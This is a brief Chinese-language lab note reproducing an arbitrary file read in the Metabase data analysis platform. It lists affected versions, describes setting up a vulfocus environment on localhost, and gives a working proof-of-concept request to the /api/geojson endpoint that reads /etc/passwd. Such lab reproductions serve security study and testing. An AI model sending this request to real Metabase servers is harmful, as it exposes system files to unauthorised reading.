<aside> ❓ metabase 是一个简单、开源的数据分析平台。

</aside>

0x01 漏洞环境

vulfocus

0x02 利用版本

metabase version < 0.40.5

metabase version >= 1.0.0, < 1.40.5

0x03 漏洞复现

GET /api/geojson?url=file:/etc/passwd HTTP/1.1

vulfocus集成了漏洞环境，直接进行漏洞环境部署。

访问http://localhost:22405/，进入安装界面，随意填写信息，数据库阶段可以跳过，不填写数据信息。

直接利用poc进行利用。